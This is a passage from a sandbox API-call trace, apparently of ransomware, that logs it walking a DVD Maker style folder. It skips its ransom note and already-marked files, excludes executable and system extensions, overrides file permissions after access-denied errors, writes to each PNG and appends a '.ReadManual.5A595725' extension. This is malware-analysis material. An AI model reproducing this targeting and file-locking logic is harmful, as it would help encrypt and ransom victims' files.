Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.511] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0254.511] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0254.511] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0254.512] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.512] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.513] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.514] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0254.514] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.514] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37518255550) returned 1 [0254.514] CloseHandle (hObject=0x1a0) returned 1 [0254.514] SetSecurityInfo () returned 0x5 [0254.514] SetSecurityInfo () returned 0x5 [0254.514] LocalFree (hMem=0x674d38) returned 0x0 [0254.514] CloseHandle (hObject=0x184) returned 1 [0254.514] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.514] lstrcpyW (in: lpString1=0x6ab90c, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0254.514] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.514] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.514] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.514] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.514] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.514] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.514] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.514] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.514] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.514] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.514] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.515] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.515] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.515] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.515] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.515] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.515] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" [0254.515] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0254.515] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 115 [0254.515] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37518351292) returned 1 [0254.515] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png")) returned 0x20 [0254.515] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.515] GetLastError () returned 0x5 [0254.515] GetNamedSecurityInfoW () returned 0x0 [0254.515] SetNamedSecurityInfoW () returned 0x0 [0254.516] SetNamedSecurityInfoW () returned 0x0 [0254.517] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.517] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0254.517] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0254.517] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf6) returned 1 [0254.518] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.518] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.520] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.520] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0254.520] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.520] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37518892448) returned 1 [0254.520] CloseHandle (hObject=0x1a0) returned 1 [0254.520] SetSecurityInfo () returned 0x5 [0254.520] SetSecurityInfo () returned 0x5 [0254.520] LocalFree (hMem=0x674d38) returned 0x0 [0254.520] CloseHandle (hObject=0x184) returned 1 [0254.521] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.521] lstrcpyW (in: lpString1=0x6ab90c, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0254.521] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.521] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.521] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.521] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.521] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.521] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.521] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.521] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.521] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.521] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.521] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.521] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.521] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.521] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.521] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.522] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.522] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" [0254.522] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0254.522] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 106 [0254.522] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37519041468) returned 1 [0254.522] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png")) returned 0x20 [0254.522] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.522] GetLastError () returned 0x5 [0254.522] GetNamedSecurityInfoW () returned 0x0 [0254.522] SetNamedSecurityInfoW () returned 0x0 [0254.523] SetNamedSecurityInfoW () returned 0x0 [0254.524] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.524] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0254.524] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0254.524] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe4) returned 1 [0254.525] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.525] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.527] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.527] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0254.528] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.528] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37519637981) returned 1 [0254.528] CloseHandle (hObject=0x1a0) returned 1 [0254.528] SetSecurityInfo () returned 0x5 [0254.528] SetSecurityInfo () returned 0x5 [0254.528] LocalFree (hMem=0x674d38) returned 0x0 [0254.528] CloseHandle (hObject=0x184) returned 1 [0254.528] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.528] lstrcpyW (in: lpString1=0x6ab90c, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0254.528] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.528] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.528] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.528] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.528] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.528] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.528] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.528] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.528] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.528] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.528] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.528] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.528] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.528] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.528] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.528] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.528] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" [0254.529] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0254.529] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 112 [0254.529] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37519739978) returned 1 [0254.529] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png")) returned 0x20 [0254.529] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.529] GetLastError () returned 0x5 [0254.529] GetNamedSecurityInfoW () returned 0x0 [0254.529] SetNamedSecurityInfoW () returned 0x0 [0254.530] SetNamedSecurityInfoW () returned 0x0 [0254.531] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.531] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0254.531] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0254.531] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf0) returned 1 [0254.532] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.532] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.534] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.534] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0254.534] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.534] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37520266670) returned 1 [0254.534] CloseHandle (hObject=0x1a0) returned 1 [0254.534] SetSecurityInfo () returned 0x5 [0254.534] SetSecurityInfo () returned 0x5 [0254.534] LocalFree (hMem=0x674d38) returned 0x0 [0254.534] CloseHandle (hObject=0x184) returned 1 [0254.535] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0254.535] lstrcpyW (in: lpString1=0x6ab90c, lpString2="shatter.png" | out: lpString1="shatter.png") returned="shatter.png" [0254.535] lstrcmpiW (lpString1="shatter.png", lpString2="RecoveryManual.html") returned 1 [0254.535] StrStrIW (lpFirst="shatter.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.535] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.535] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.535] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.535] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.535] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.535] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.535] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.535] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.535] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.535] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.535] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.535] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.535] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.536] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.536] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" [0254.536] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.ReadManual.5A595725" [0254.536] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.ReadManual.5A595725") returned 87 [0254.536] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37520440699) returned 1 [0254.536] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png")) returned 0x20 [0254.536] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.536] GetLastError () returned 0x5 [0254.536] GetNamedSecurityInfoW () returned 0x0 [0254.536] SetNamedSecurityInfoW () returned 0x0 [0254.537] SetNamedSecurityInfoW () returned 0x0 [0254.538] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.538] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=21627) returned 1 [0254.538] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x547b, lpName=0x0) returned 0x1a0 [0254.538] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0254.539] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.539] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.541] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.541] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x547b) returned 0x2f0000 [0254.541] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.542] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37521039310) returned 1 [0254.542] CloseHandle (hObject=0x1a0) returned 1 [0254.542] SetSecurityInfo () returned 0x5 [0254.542] SetSecurityInfo () returned 0x5 [0254.542] LocalFree (hMem=0x674d38) returned 0x0 [0254.542] CloseHandle (hObject=0x184) returned 1 [0254.542] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0254.542] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0254.542] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0254.542] lstrcpyW (in: lpString1=0x69b8fc, 